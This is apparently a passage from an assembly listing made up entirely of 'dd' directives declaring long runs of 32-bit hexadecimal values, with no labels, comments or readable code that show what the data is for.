dd 0F7034FEEh, 0CC362178h
dd 0EFB98C61h, 0AE0E15C5h, 6A3E2D29h, 0C7FA0B68h, 9A0AF851h
dd 113597E3h, 9891491h, 0CB3E7D74h, 19C807DBh, 908766C9h
dd 795995F1h, 40B5557Ah, 4D3A1302h, 0E3724042h, 0DBEB5BF7h
dd 376780AFh, 4B18CA6Ch, 2518CA97h, 52987454h, 21374CF5h
dd 0E4932F9h, 9416C0A9h, 0ADE1FF49h, 1A7FE9A6h, 4BF1576Bh
dd 3BA6DE96h, 0AE6DBD13h, 0D7D9033Ch, 0BB66F76h, 0C4B3D5C9h
dd 7CD00FC7h, 0AEC085AAh, 5BD27244h, 56AD4304h, 20BCBD5Ch
dd 7F03B5A1h, 0B44E4D7Ah, 0EB09AE47h, 9D34A47h, 173604CAh
dd 38BB5600h, 4F25C9F6h, 194EE55Bh, 2FFC7140h, 0F4E16082h
dd 0B9544B9Dh, 5C25C2A5h, 9B12DC5Eh, 0A104C62Ch, 5709234Dh
dd 805B6A40h, 0E2E9C725h, 7084F332h, 2B73FCBDh, 0E6090125h
dd 0DED35F4Fh, 0BBD3C0A8h, 4A28C53Fh, 0EB96D511h, 2F803F9Eh
dd 0A95FD18Ch, 0F5ADF54Eh, 0ED50F989h, 3D190122h, 290A95E9h
dd 0A7C499BDh, 9DCD0D62h, 0F208A5E0h, 75BD1089h, 0FF68070Fh
dd 5C69777Dh, 7E3D38D5h, 0DCED9C7Dh, 5C514225h, 3522C995h
dd 6CF59ED8h, 0E8780212h, 7AE94975h, 8100E45Ch, 0D0B48F3h
dd 0C5BBD34h, 5D59D05h, 88805DF9h, 0AEDC071Ch, 0CD3AC374h
dd 0C25725FEh, 0D8A4FBB0h, 1A97A1F4h, 998977CCh, 899EA659h
dd 0C9366DE7h, 9C10FDCh, 3702DC6h, 0AC125EB5h, 0DCA5B32Fh
dd 0A1F8BF33h, 0A5A06CD6h, 0B7B40531h, 343BB82h, 0B9AE5550h
dd 87BA5720h, 593C9967h, 3796AF5Fh, 408120Eh, 0B89E3C42h
dd 34E94F9Ah, 0F22490ECh, 41086556h, 685B0913h, 246A1401h
dd 7A3A3C51h, 2E704492h, 6BB6755Eh, 0A6B020F0h, 569E1A27h
dd 1546D66Ch, 0B2AC7913h, 739700AFh, 0D6E7A5BFh, 91BD1901h
dd 2F90CD0Fh, 0CEBB4500h, 0F323C646h, 4B7DB520h, 4072A70Bh
dd 632E67DAh, 0DE6B61h, 0DE5AB9ABh, 948848BFh, 0D89F2150h
dd 788A1697h, 4A3873BFh, 2620CA3Fh, 3EFC8B4Ah, 9770E95Ah
dd 7B42C66Fh, 69A38234h, 7599FA0Eh, 8959B5ADh, 27F120DDh
dd 0C2CC06D5h, 5A524100h, 3B68BB9h, 2A9229Dh, 7F40D694h
dd 25F2645Ah, 1FC5E3E1h, 5425DF1Dh, 66E6F40Ah, 0F9F88B29h
dd 954BB366h, 0E600AB44h, 585681E2h, 95B440EAh, 1B6460CDh
dd 0EB1DFE60h, 89830C3Fh, 257D2B1h, 290389FBh, 7E970158h
dd 0B928F44Fh, 7125BD18h, 0AD0E6506h, 9D4D3DCh, 43471AB9h
dd 0B4A4FE59h, 8B1B5508h, 77D65360h, 0C5EB5F64h, 5E9DF8F8h
dd 1785B9C8h, 0EEA89935h, 7753EA09h, 4C98E710h, 0AACCA100h
dd 0BF8502F5h, 42F71387h, 0A41F85Fh, 24820F96h, 0ECFABB01h
dd 6B2B2F60h, 251923BAh, 69A69D59h, 596C5BADh, 2FE81816h
dd 9C58E737h, 0B50B5499h, 2DB754A1h, 1C59755Bh, 0B800CA18h
dd 0E30BF395h, 0BD1299DFh, 3EB9C390h, 0BF0782EEh, 0B665E7FAh
dd 55508E52h, 8442B86Ch, 7B18C15Fh, 0C4302B3Fh, 26958B60h
dd 41CA0F6Dh, 7E61823Eh, 80A830A2h, 8EB88D09h, 81B4183Bh
dd 0EF074A25h, 0B2A0D052h, 0A3749503h, 5D205042h, 2B01E7C7h
dd 2E09A5Bh, 9C2AFCh, 7BA4C058h, 0DAF57279h, 85549109h
dd 4BB5D5D1h, 0A1801491h, 0DCDBD31h, 9F78CEB5h, 4B3CC390h
dd 209FE300h, 5AFFFA67h, 28AC18E4h, 860F74BFh, 0B20953h
dd 1C21B8C2h, 0B561303Ch, 350D7E5h, 0CDEA16AFh, 9D13AEA3h
dd 9AEAEBC5h, 1BB6D2B7h, 0BD49E100h, 0C2FFB29Ah, 7FE06C4Ah
dd 20964BDFh, 83B52DE6h, 9F9C7F00h, 4D75D63h, 4175F2h
dd 5150343Dh, 965B83B7h, 0EDD2ABE8h, 0E9EC9BBDh, 0F84D6800h
dd 7D66C229h, 8807F2A8h, 31042C7Ch, 81A549F9h, 5D3EDACh
dd 0AE291DAAh, 2D019E78h, 86002D95h, 48BABF50h, 9FE56BE9h
dd 4B35B020h, 3C919D04h, 734A1290h, 0E723BDB6h, 0ABFBBF07h
dd 0DEEA2F84h, 0EF3D2545h, 3AF0678Ah, 38A124BAh, 7EADCDCAh
dd 0F33F93F1h, 0A5CD4BB6h, 6A72C287h, 0BD55191Bh, 80D6A33Ah
dd 0BF71625Fh, 0AC7128D3h, 89E9D016h, 805E55B8h, 8BEA8AF7h
dd 0D70EC161h, 342BE6B7h, 7EED3048h, 0BE052B04h, 5065B8BAh
dd 2F17BFEh, 0C4D614A5h, 0B8885594h, 0F407DC6Fh, 931DCE0h
dd 880D3351h, 0B80F168h, 0F8D4A4FBh, 0C03F4600h, 92B06C45h
dd 0E836603Ah, 27B5BD2Bh, 9EC151B5h, 0AB0B2121h, 12BDD5AFh
dd 0C1C25200h, 0B03AD5Eh, 0FE8BF7C6h, 3D4B38DDh, 1A5BBD29h
dd 0B615352h, 5F415F77h, 5790002Eh, 0F2834A0Fh, 4EAE8006h
dd 254FA3Ah, 0F505B94h, 0E3760B8Ch, 2B9FBFC0h, 7E5097F0h
dd 11099078h, 756D8323h, 0EBE57CEDh, 0C3794EAh, 8BF5FDB1h
dd 892FD69Eh, 0AC4253B9h, 0FE3AD627h, 4C68004Fh, 0B1E1BF91h
dd 810D0139h, 3351D1D3h, 62B63A2Ah, 0EBFF8067h, 0BDDC445Ch
dd 0E109227Bh, 0D1057F19h, 4C22BB30h, 0FB4E751Dh, 0A0096500h
dd 9A9D24F3h, 0A06C5A92h, 964A881Ah, 0ADB3FAA8h, 0E8ABBD84h
dd 977B014Ah, 9874E1FDh, 0A0492E43h, 0DC9A7C02h, 0A500D0FEh
dd 0B575F652h, 3096EDDBh, 0B0C25190h, 649D5BB4h, 0ABAF82A4h
dd 80563721h, 1D065F1h, 0E6B831EAh, 0B2E31341h, 0B590D899h
dd 0F65A0CD3h, 8293C032h, 0D4ACAE9h, 0B51091CBh, 92013AAFh
dd 96EF1A6Dh, 5125F062h, 0A5487369h, 4E23CDh, 0CBFE05F2h
dd 69D69760h, 0C8D747C3h, 957DFCEh, 90612549h, 803C1059h
dd 6A9CFC09h, 183223CDh, 9A50FEC0h, 904BD169h, 0A854D1A1h
dd 19B8BFA9h, 0D0C028Ch, 0E2C7C5DBh, 9A7F157h, 4C55FCB7h
dd 95F3B534h, 5B280909h, 48FCA7C0h, 3D76A67h, 98AF5186h
dd 0B83152D8h, 0B6FEBF12h, 8F0229Eh, 2F61BD29h, 40A97849h
dd 7031E603h, 0CDD2260h, 45857384h, 0E4610117h, 1E900171h
dd 98924A15h, 75F829C2h, 51953995h, 2045558Ch, 9CB05F49h
dd 630AB325h, 8D9DF995h, 0DFFEF1A7h, 8FD1D04Fh, 574E0592h
dd 8BB905D6h, 0F1DF01D1h, 0AC7EE945h, 8161E23h, 0EAA43AA8h
dd 97F94E88h, 0F6190611h, 8470F8Ah, 7D8011E9h, 3B1A0516h
dd 5E6F003Fh, 70E8AF3h, 1309852Eh, 5A5BC9C0h, 561A81B3h
dd 8532F17Eh, 33E95B55h, 65BB8F20h, 8D8B1869h, 895303FFh
dd 32E59D1Ah, 44A9542Fh, 1F6A5418h, 0A554C65Ah, 64FE341Bh
dd 0ABB37104h, 4982A1ADh, 4D5F0F30h, 318E396h, 37FF6A8Ah
dd 59159F97h, 3AF1A238h, 6FD2D8BDh, 31DB023Ah, 431BCB80h
dd 10B8A8Eh, 6B0ED5B9h, 51E16F8Ch, 5D2EEAFCh, 0A96DED5Fh
dd 75300C9h, 0A1943A7h, 67DDF04Ch, 0C7E909E0h, 7D25A3D9h
dd 0E11256B6h, 0B8D4F2B8h, 0E2C1F6AEh, 0A5825785h, 0D50907A1h
dd 0B7DF702Bh, 17AC81C4h, 6E08B8E7h, 21E99404h, 5B52DB9h
dd 0BF986C40h, 973CF6Eh, 0DCB5FCF0h, 4E305E5Ch, 4B0D4BE7h
dd 0ECE7BD88h, 3C627FD8h, 0F0051122h, 0B878C933h, 0D6192530h
dd 44ED5A9Dh, 0C187F940h, 79690229h, 0FC8A7120h, 88E80F5Ch
dd 0C0DB04D6h, 0B88DE341h, 0EEB3AC0Ch, 20C29851h, 5B492481h
dd 5EBC68h, 0DED69E83h, 0D893476Ah, 2D9EB058h, 69BC7185h
dd 84FFE429h, 0A59549EAh, 5B5ADBFFh, 4C8028DAh, 77A7BBB3h
dd 1967150Eh, 0EB3DE158h, 9A236941h, 795C232Dh, 7C306E25h
dd 4A15F33h, 0B9E1FFAFh, 0CC3BB97Dh, 5B275298h, 69CFD6FCh
dd 0BA422559h, 0D2297304h, 824973F9h, 551A2D7Ch, 0DE2DF567h
dd 5ED42795h, 0FDA131DEh, 0C60BB1CEh, 150E563Ah, 0CE83038h
dd 5752AD0Bh, 212A7D66h, 60FB0BF1h, 80623B76h, 3420D7C3h
dd 0ABB7DF81h, 0C2711925h
dd 41EF040Bh, 463D62AEh, 0DEDB2Ah, 964F6285h, 0E8C06C35h
dd 0A8D0F1Bh, 0B3F45A23h, 0B29C1681h, 17CE5AA9h, 0EB300DC5h
dd 54E61E20h, 0D64A07B0h, 0D04C91E2h, 0CA7BBF89h, 7EB85D04h
dd 3DC4AD32h, 5B9649FEh, 0F9800371h, 4EBA6090h, 1C3A04DAh
dd 8361FE8Bh, 0F4EFFBFEh, 359BAF6Ah, 78600FC6h, 21F09155h
dd 244F2A4Eh, 2CE8D261h, 13D528D8h, 0A0A5CC82h, 0C02E6110h
dd 22476835h, 0BB0479E9h, 3A7C83B5h, 0B80FE0A8h, 0A992F621h
dd 0C2B8B0h, 1114BEFDh, 4DAC65Ch, 0B0DEC69Dh, 950EE214h
dd 18A0AB14h, 894BEF25h, 19A8C8FDh, 0DAC70D8Ch, 247406CBh
dd 0BE88057Bh, 8A445899h, 0DAEF7060h, 0E916618Bh, 98E40213h
dd 610997DBh, 9C363DFDh, 828D4052h, 0EFBF5DFBh, 1250F04h
dd 90F80D9Dh, 0FD76C54Ah, 0B08FEC7Ch, 0BFAF4981h, 4AB2B897h
dd 0B6E981C5h, 85945CECh, 83FA52B2h, 0A498DB96h, 0A7F720ABh
dd 5C794285h, 0C3412000h, 0D0CD99C0h, 8DA94B79h, 0CFDB2FB9h
dd 21FE7F8Dh, 68996F10h, 623777EEh, 0FE49BC9Ch, 6F09D53Ch
dd 4EA80803h, 8BD3D805h, 6BBA6741h, 1B232Bh, 1DEF3D06h
dd 8E26B612h, 0E109F8E9h, 2E047926h, 0FA13DC87h, 33FF607Fh
dd 0A2C4B416h, 4140004Ch, 44B5F63h, 722600A6h, 8839180Ch
dd 8CE0AA69h, 9661500Bh, 0FD7588Bh, 77205D6Dh, 0E1ABE632h
dd 352F8851h, 4DB1102Ah, 68D88B00h, 693754C7h, 543D749Eh
dd 0A9BFF80Fh, 38362083h, 39692857h, 290960F9h, 1D24A5B5h
dd 4298AB61h, 1B5926BFh, 0EFDE16A6h, 16252C7Bh, 40B1E49h
dd 27A1FC06h, 0B5891375h, 0BA2DAB55h, 0D926221h, 80EE9B61h
dd 69BF9FD6h, 59782DCBh, 95F64E56h, 0FE90A930h, 0D9BD010Bh
dd 71705612h, 0C631B13Ah, 0E90114C9h, 357B6E4Ah, 0BE252E00h
dd 1001368Ch, 93415359h, 2A113504h, 92EE06BCh, 5BD133A0h
dd 0C6B273h, 204A22DFh, 0B65ED18h, 0AB825DC4h, 75009DC4h
dd 1FF75A98h, 1F37CC7h, 95B52740h, 0F1EE836Eh, 0E282F5Fh
dd 1BE487E3h, 0A954960h, 57396105h, 0B41282F2h, 0B314C6BDh
dd 0ABB3FDFEh, 23B0635Eh, 0FCD952Dh, 0FE6019E4h, 6B04EF5Bh
dd 0FD8A85A0h, 1CAC0BBDh, 48D9008Ch, 0C27CA811h, 23EEC73Bh
dd 12EFBD4Ah, 6B49B17Bh, 70B018A7h, 8E49C0Fh, 0E6AF5C25h
dd 8964C15h, 0B31CF26h, 0D88E63F7h, 0F0E3ABA1h, 0E5FEFE52h
dd 91446D6h, 0DEBD2B48h, 6FBF8E6Eh, 0B80F13C4h, 0B246D3E4h
dd 0BDED783Ch, 17D8EDD3h, 56B6006Ah, 0D7A8E2B7h, 0BF04E0A9h
dd 790DEFD5h, 0EF9C74ABh, 4200CD6Ah, 0EF9FF873h, 6000CE6Fh
dd 568FAAB8h, 2F68168h, 1183B7D4h, 5A770361h, 96539D6Bh
dd 3B181959h, 0B04D1000h, 0E3801C6Dh, 6BFB9CC5h, 830BB754h
dd 8903F4C2h, 0CB706AD8h, 8D258E90h, 0AD505B1Eh, 54B6050h
dd 9031969Ch, 85D78AAAh, 66A2D9B1h, 0BDC57349h, 0C48AAA69h
dd 0F1211864h, 0B3F63F4Dh, 84F59CB5h, 5BD61258h, 0D7C9C5FCh
dd 0C449080h, 6800720Ah, 45F9856Ch, 0B089C71Bh, 48F695ACh
dd 0A28BB40h, 0B8224ECAh, 8569E0D2h, 80C00094h, 0D2D67A15h
dd 0EAEA7137h, 0D1B5E1E3h, 758F20BBh, 0C65F1B25h, 49B70956h
dd 0FCB3820Fh, 5E71D9FFh, 0F94453C4h, 6020AB96h, 0DF6CDAh
dd 353CA2E8h, 1F3E77CAh, 9A348400h, 0D7DB87A3h, 0CC504CC2h
dd 0C8600D6h, 7E97A667h, 8B4886E4h, 5BDA0907h, 0DCA87496h
dd 0A6AADF12h, 1995904h, 0A64B93CEh, 0BBF8A568h, 0A97D17D6h
dd 6CBF87CAh, 95C47279h, 98D30D73h, 0BFF3447h, 0B690D5D4h
dd 7125CF7Eh, 0A0054F6h, 25893E59h, 25AB729Fh, 7EC014E2h
dd 899FBDDDh, 0BF10715Ah, 232BBB09h, 59441479h, 0A95AD150h
dd 3C6BD638h, 33A95800h, 0D19EC490h, 0C2B9794Eh, 0AFC6F984h
dd 3680FE9Eh, 0C7D40112h, 4E8F9B12h, 31C230F2h, 6AD64DB5h
dd 0DBAC3096h, 5F8B6E4Fh, 0BCA480F8h, 814780D4h, 0DF63C1h
dd 0D9512019h, 3F8D91A5h, 0BDF7D8BFh, 6EB5A6D8h, 2EB7B701h
dd 0C7C1FD02h, 0F86F9BEh, 0E409221h, 3556540Ch, 23D82C00h
dd 0CB94468Fh, 0BF4F4A68h, 0DFD2991Ch, 0DEC98ADh, 5E4B900h
dd 68633CF0h, 0C8109FF7h, 36799AF9h, 605CAB61h, 81DCA0B9h
dd 0EFEA980Ch, 0FE3FF53Ah, 0ADA5B7D7h, 0A2A04CD4h, 0FBFBA13h
dd 465430AFh, 0DA011BF2h, 2554F1C7h, 82A31BCh, 5F122E56h
dd 0F26B4AF1h, 0AB080014h, 0B0EF5A60h, 0D70C25DFh, 905BA2C0h
dd 3FEEE852h, 4E6A001Eh, 88B867BEh, 9FAA0B3Eh, 93711DA1h
dd 5B28F800h, 12FEAE1h, 43E0213Ah, 6B505F60h, 0B0514E08h
dd 0CF03BFF8h, 9BFDBF5h, 2AC333CDh, 9ADC7F27h, 363597DAh
dd 0AE801591h, 0C98D892Eh, 0D50C0995h, 1A913635h, 0C087C280h
dd 0CD27F93Dh, 3ED64B0h, 1567D184h, 0E1907E57h, 0A52E4B4Eh
dd 930FE13Bh, 0B0E6F2FFh, 84239E0h, 0B0998E6h, 7F225D9Dh
dd 109F8F30h, 43DE2102h, 5ED7AF86h, 0A76E514Eh, 0C96DED2Bh
dd 0A3807F72h, 6A8102F9h, 0DC62DED2h, 987A8F00h, 27B8DC59h
dd 0CFBF257Dh, 0B3F419FFh, 7ABCB57Ah, 9428190Bh, 8B601C62h
dd 41B589D3h, 0E9251472h, 0C2A059E0h, 8B05BFC4h, 2987A4ACh
dd 2A4FDD8Dh, 94F64F81h, 0C85B9A6Bh, 1AFFCB19h, 2F87D3FFh
dd 6C55DDE2h, 42F0BFh, 1BCF9F18h, 0C72675C1h, 1702F4FCh
dd 9531BF50h, 868388C6h, 0C0A54D2Dh, 9A328D82h, 1CA8B112h
dd 53FAAE01h, 652F5BF9h, 2382BB35h, 0E0595513h, 194B56Bh
dd 0A1FEBB7Ch, 5C8C3BCEh, 87250301h, 3C1F263Dh, 2F406E81h
dd 718D3660h, 0F095840Ch, 0ED92582h, 74006ADBh, 56B805DCh
dd 142C09B1h, 3D7BC0DFh, 20012308h, 0BFD312EEh, 53CF464h
dd 0A510C486h, 0E6041208h, 0E4051789h, 0D0891C71h, 69B7122Eh
dd 88F63CF4h, 0B997FC8Ah, 8B60F53Bh, 0D953489h, 936B88Bh
dd 781ECB80h, 9D310933h, 5390C75h, 0DA08ECF2h, 5337362Fh
dd 0C82B0D78h, 8B06288Ch, 0E9B260D1h, 460296B0h, 85ECBD65h
dd 8CEEFDD3h, 0B5258987h, 0ADE15971h, 9600A271h, 86F1C97Ah
dd 0D34597BDh, 14C1D031h, 80C15F02h, 1A97E45Ah, 3C40FFB4h
dd 0B5CFAFCEh, 616E33B6h, 22C11778h, 0BB040F59h, 0E9A50F1Fh
dd 58510E6Ah, 0E9030139h, 501217FEh, 67F35BFCh, 562FE241h
dd 0B929AA1Dh, 0E9C30040h, 66B397B3h, 103D3617h, 992707D4h
dd 8BD848Fh, 0C438AABh, 0B00F3F1Eh, 0B00C5287h, 86FC8476h
dd 372D9A93h, 70190C6Bh, 1D25DBB4h, 56A30BA8h, 184C92Ch
dd 93B90228h, 0F4F2DE10h, 0B5014C04h, 0D9EA0EE9h, 0A659765Ah
dd 0A8215EA8h, 32DE90A2h, 6DFCB37Dh, 9325E021h, 0B72ACDB6h
dd 2B148483h, 70DC23C0h, 544BB297h, 27CD2503h, 6EE1A98Ah
dd 7F3F0FD6h, 0BB611978h, 0C8BF6E8Fh, 13125EECh, 0B3F7880Dh
dd 3A8271B1h, 49954484h, 0D38F9ABAh, 0F2E198BFh, 0C5D59307h
dd 2199E311h, 5B063A7Fh, 7678B73Ah, 30A60343h, 0DE317927h
dd 971FF466h, 0DB09612Fh, 47EB7192h, 0FE160E77h, 6F01916Fh
dd 7BE89E3Dh, 255FC4FDh, 6389B0CDh, 2157A751h, 47218D2Bh
dd 0F17399E9h, 0FC4F8EAEh, 4FA1E100h, 1D855DFh, 31FECB52h
dd 0F6FF5B9Bh, 10E3755h, 8ABBAB45h, 2E3BC914h, 8B20F628h
dd 3DF488B2h, 5C127FC2h, 7F2351D7h, 0E5B059A7h, 0F81690F7h
dd 9301B292h, 0DF096B8h, 53DC5CE6h, 5B9F5CF6h, 0A8D789Ch
dd 9A904900h, 0A885B517h, 0F2DE5E8Bh, 2DEF4E4Bh, 0A530C81Dh
dd 0B7097200h, 3335D49Fh
dd 0B111709Dh, 88C2645h, 9022769h, 5703398Dh, 42312F11h
dd 64D52DEEh, 0F7A6809Ah, 922C4BF9h, 192A73FDh, 0E84D112h
dd 0C8BA9AEAh, 1463C116h, 4BF25A4h, 0C5CFACF8h, 20898E0Fh
dd 80D8206Bh, 892645F7h, 0FD27EB92h, 8FEF2C30h, 54909727h
dd 0F98A82F5h, 0F0C15061h, 0C6CC1417h, 949000A3h, 234591ADh
dd 420082AAh, 0BAF0A43h, 4FF0194Fh, 0F1F6F660h, 862B1B54h
dd 1978AB6h, 12E38026h, 68D81683h, 25FADB8Ch, 123C535Dh
dd 73B6A0F8h, 25C1D813h, 0C0B99EADh, 7B03C5F7h, 91AB57F8h
dd 5A6B89BFh, 9D9D7030h, 6DB5E27Ah, 6019644Bh, 2C59A3D4h
dd 166ABB45h, 4256AEBDh, 0AA4FACh, 77A139F3h, 13FC0DDFh
dd 1E152CA0h, 920D048h, 53019FE9h, 0C8D0D189h, 8D72BC41h
dd 0BB55948h, 5C2DE99Dh, 603EEA4Ch, 911F71C2h, 70556712h
dd 0F35F0BF3h, 223D5884h, 0A5FE9501h, 24B0F865h, 0E953BD48h
dd 8A671459h, 0E5D2C85Eh, 9DC02700h, 4ABC489Eh, 0BF6C09BAh
dd 215C8924h, 0F1D624DEh, 9CCD52EFh, 0BD133367h, 0AAB8E4C1h
dd 25ECE397h, 0C02AFC50h, 898CFEBBh, 6EFE344Bh, 0F9D51242h
dd 14ACA0B9h, 93E0958Ch, 0AB0768DAh, 0BB0BB167h, 7F1237A1h
dd 3E54CE24h, 874CAE64h, 0B5DCD52Fh, 0FE9356AFh, 9436F901h
dd 0A5C996BBh, 22CF37Ah, 0E7EECBFh, 4CE6F52Ah, 44AC5C9Fh
dd 4FD5FA11h, 0DCE1640Ah, 0CDB589BCh, 0C9F6140Dh, 90E18DB8h
dd 0C9B65B61h, 698A71B1h, 6D54A0E2h, 218B2C51h, 2E5342E9h
dd 0EF875DAh, 9C501300h, 0B74A4E7Eh, 5C1D97CCh, 0FDCE0272h
dd 0BD430E14h, 0BAB41255h, 0C500736Fh, 0E1BFCF83h, 0D095F9A6h
dd 0FC7B95BBh, 2A49BD04h, 0CDF6A2AAh, 0ED6A6EAFh, 1B6B8D0h
dd 9EC76190h, 4BF543F2h, 537F30F9h, 1230F381h, 0FF10F1EEh
dd 31810D64h, 0B93205A5h, 112B752Fh, 0A798B57Fh, 0F20BE6ECh
dd 5505EA97h, 89263487h, 492A4D55h, 2DF683Ah, 0D502B9DFh
dd 1A275EBBh, 0E04AFEFEh, 0FC99A103h, 0BC048C71h, 803AAC2Eh
dd 17A2F948h, 8011903Fh, 0BD577A7Ch, 2B3AFA08h, 7A8096CEh
dd 9F00C457h, 9D6128FCh, 6C0707CDh, 969532CCh, 12652588h
dd 9D059455h, 13D40DD4h, 0FE0A9FADh, 83D67A16h, 14E52588h
dd 0E2B017EEh, 6F46EB12h, 0A35B7CE3h, 4DCC4A29h, 0C92109BBh
dd 9C56B47h, 5521150h, 0FA5178Ah, 0ADD01C7Bh, 310ACF52h
dd 5D18359Dh, 0D02ED0Ch, 9B205F50h, 433380B6h, 0F5DE505h
dd 0EFBD7C79h, 0C0A4B872h, 40E6AEBBh, 0EF5F4A58h, 0DBD7030h
dd 0DF45B519h, 5097D3A7h, 554AAA2Ch, 0F64F4DA8h, 0F1814FDDh
dd 5AABBA5Bh, 53560310h, 2970830Fh, 6CBF5B71h, 759D2AABh
dd 9A6397F4h, 0E4F687EAh, 52ECDA0Fh, 4BE094F6h, 9E3B7E6Ch
dd 15448BEBh, 4AEE5016h, 0A569A831h, 7416E04h, 28FF8AAAh
dd 94955C86h, 0B45A7079h, 0BA09F413h, 576096h, 50515A1Ch
dd 0C35E5A5Bh, 0A6F4FA28h, 6EAFE053h, 128290B5h, 6081C545h
dd 0D8501E7h, 4F7F1956h, 0B19230E8h, 2DDB7E56h, 0DE80ABC9h
dd 29830D13h, 1F29F39Dh, 3D2795BDh, 95D5F889h, 41F340B5h
dd 0AA244ACCh, 0B509FD63h, 71695C1Fh, 0F95A0D37h, 0EA5EF4C0h
dd 0DB259416h, 88697362h, 0D06918E9h, 61DDF93Ah, 56332C2Eh
dd 0A4EABF09h, 38700EBh, 802F299Dh, 0C2952CE9h, 8E87374Ch
dd 0B601B4F1h, 2BF5A2ACh, 7EF6990h, 79A08CE4h, 60A320F5h
dd 900003BAh, 25CA76BFh, 65501D67h, 0EB46B727h, 0C69BFCEBh
dd 3FE764C0h, 8F384A7Bh, 93CF9387h, 2AA1F004h, 6112BE57h
dd 449C70AFh, 0EC0B72C6h, 0D065EE01h, 0DC709698h, 0E7F68400h
dd 6A5A2D11h, 97C0B0FBh, 49D07CD3h, 0F19D01C5h, 0A40B5632h
dd 829242E4h, 80C2D35Fh, 74571BB5h, 4A044F66h, 890C142Bh
dd 62A627BFh, 0FA7DB1B5h, 0CEFD205Ch, 0E6789F9Bh, 5DDA0EE9h
dd 13E980C8h, 0B79F6070h, 0AC791F3Ch, 0DE2B00AFh, 0B3906AAAh
dd 6017FB7Dh, 614FF18Ah, 36B37761h, 1C386A6Ah, 0E7685DE7h
dd 3080B637h, 2F725B03h, 277602D2h, 175BD33h, 0DD5A5D5Ch
dd 562D53B5h, 4C5002AAh, 90D70719h, 6E9427h, 0F40AC68Ch
dd 0F133383Ah, 58394806h, 0B7EAA4B7h, 0FE95BB50h, 1849D4BDh
dd 6D7A8047h, 254EA00Eh, 2CC5D1FFh, 16B3C438h, 0DB026AF6h
dd 70C28744h, 0AD47D4D1h, 0ACFABC97h, 9D012255h, 7EEC5201h
dd 736FFC50h, 371C322Dh, 0AC368961h, 0F3D2582h, 91FBB75Dh
dd 4D788419h, 0E931A0AEh, 0C510B425h, 0CF078843h, 1EE7F125h
dd 909EB0h, 8C82846Dh, 0F004735Ah, 2DB5013Ah, 0D45B7AD2h
dd 6F07DCD2h, 0F4414B4Ah, 0E0AE3B32h, 25231D7Bh, 86732D59h
dd 0EE181D59h, 5FC52300h, 7159A77Dh, 0FA916C4h, 0D35ACC80h
dd 1C03AB26h, 502D2525h, 34BEB2C5h, 3A5FA42h, 2DB8A86Dh
dd 0CB6C4E60h, 4A0F3972h, 88CD888Dh, 898B5B84h, 0EB98829Bh
dd 573A0927h, 1811B637h, 647D8A80h, 309796CFh, 125EBB9Bh
dd 0E3090E18h, 9D230E70h, 6759B01Dh, 5D6FAA4Bh, 136F6A07h
dd 8271B712h, 44557698h, 604E002Fh, 612EEBE7h, 815CC675h
dd 23551767h, 0ADE8D4E9h, 0A5028475h, 53946ECCh, 0F1BD8260h
dd 0BF2AC0D8h, 0B56151D6h, 0CA6A0CCDh, 12C10A3h, 40896E50h
dd 997B033h, 0D948F506h, 704EE661h, 281BDC8h, 64116C94h
dd 0AF6071E4h, 0E6950CA1h, 0A72FE103h, 78CF169Ah, 2B56DDBBh
dd 0BF66D500h, 4ABA02AAh, 0C0CCBD06h, 2F7CC35Dh, 1030013Ch
dd 56C01A68h, 2F4E71C9h, 0F072A3C8h, 62660771h, 59DC3FF2h
dd 2DE4945Fh, 3C58ACA4h, 4B145495h, 12A4C954h, 32BD2212h
dd 0D17A0951h, 50D18B2Bh, 0BD25B735h, 0FE07DE00h, 6A7AF155h
dd 1B7B09Bh, 219A183h, 2B88CD41h, 0DEB941C9h, 2DFA702Eh
dd 0F5583F29h, 0F0CE7388h, 0DC1C0F00h, 0EBE3B72Dh, 0AA78075Ah
dd 925BD0Bh, 0E6484A5Eh, 55246D0Bh, 4E0C159Ah, 0DAA8FD1Ch
dd 0D7A43EE9h, 0CF04DF00h, 0EF802ED1h, 0D41A9746h, 0AF2587F0h
dd 45D3C4C6h, 4BA22C21h, 0D4AC3FC4h, 92EEDA1h, 0AEC6C05h
dd 0B1D1D84Ah, 0B2024F41h, 17B5D695h, 0F068A66Ah, 9DF5C6DCh
dd 14590E73h, 0E3F83F18h, 0BE23AE2h, 4A52BB01h, 0ABB942FDh
dd 0BA56C474h, 525F5C53h, 50090822h, 43D18D09h, 0D0B8F43Dh
dd 4ABC5349h, 0A2491C09h, 0E17CD853h, 0C054DE2Bh, 0DEE9823Bh
dd 0BC14049Bh, 0E83D4616h, 28BF9665h, 0A2124757h, 0C8AA40B1h
dd 0D95FBD2Ah, 0BA5C265Dh, 0E0525E27h, 203155BEh, 7FC03900h
dd 9A592E33h, 5C4A0496h, 0EAF70FD1h, 71E479A7h, 20D9D0F8h
dd 85B0137h, 0DC57CE9h, 93139F88h, 57F849FBh, 0FF258AD6h
dd 890243BAh, 16D718C5h, 24B5B508h, 426D6605h, 5D032FAEh
dd 0A23A8E0h, 0CBA9C0B3h, 2750B93h, 0E0CFCD55h, 8BB45980h
dd 0CCAFB4Bh, 0F8FE9422h, 0FB271F91h, 0A16F785Dh, 61B3CD12h
dd 0DA2A74AEh, 40E8CEBEh, 2B18BE99h, 0DAE025C2h, 0E5E2487Eh
dd 0D50C0C32h, 0D6A2085Eh, 525D249Ah, 21B79785h, 4AD6DD0Ch
dd 0CE2BFBA1h, 5621C1Fh, 14377525h, 1C479D00h, 9702D994h
dd 4F383F94h, 0BA95A05h, 0DA264DBCh, 0C5257DB9h, 4EB8838h
dd 0F4DB8002h, 0DCACD660h, 0CD13200Ch, 97F96632h, 0DC8A0B82h
dd 7E2B075Eh, 17FA978h, 60A4F9A2h, 0C2958D2Bh, 807B5957h
dd 2C8C9C9Eh, 0E700CB61h, 44535A6Ch, 0B0F11601h, 58CF275Ch
dd 5D091CFEh, 64445E03h, 15233F7Ah, 56791109h, 1646D620h
dd 4B019302h, 5B5EDE8Bh
dd 0D5E85065h, 826DA680h, 46038A1Bh, 697FE39h, 0F64EF845h
dd 0D670279h, 118D3114h, 0C45F6269h, 0B60956BFh, 0E4906F9Eh
dd 4F6C959Ch, 4B8504Eh, 0D6C9B9A0h, 0F63E9081h, 0E83FE1ABh
dd 0F2963840h, 0B75E01CBh, 0D9BF5BDAh, 5DF8BB0Bh, 0BCDBEC14h
dd 0AC72771h, 0FC968110h, 7760C026h, 3CDE5354h, 0C9120E68h
dd 4E80B294h, 7AFD21FEh, 0EAA02A9Ah, 5B9C90F1h, 80F2DB6Bh
dd 8761D005h, 260D0439h, 20E8F7AFh, 3699AFAh, 11B98074h
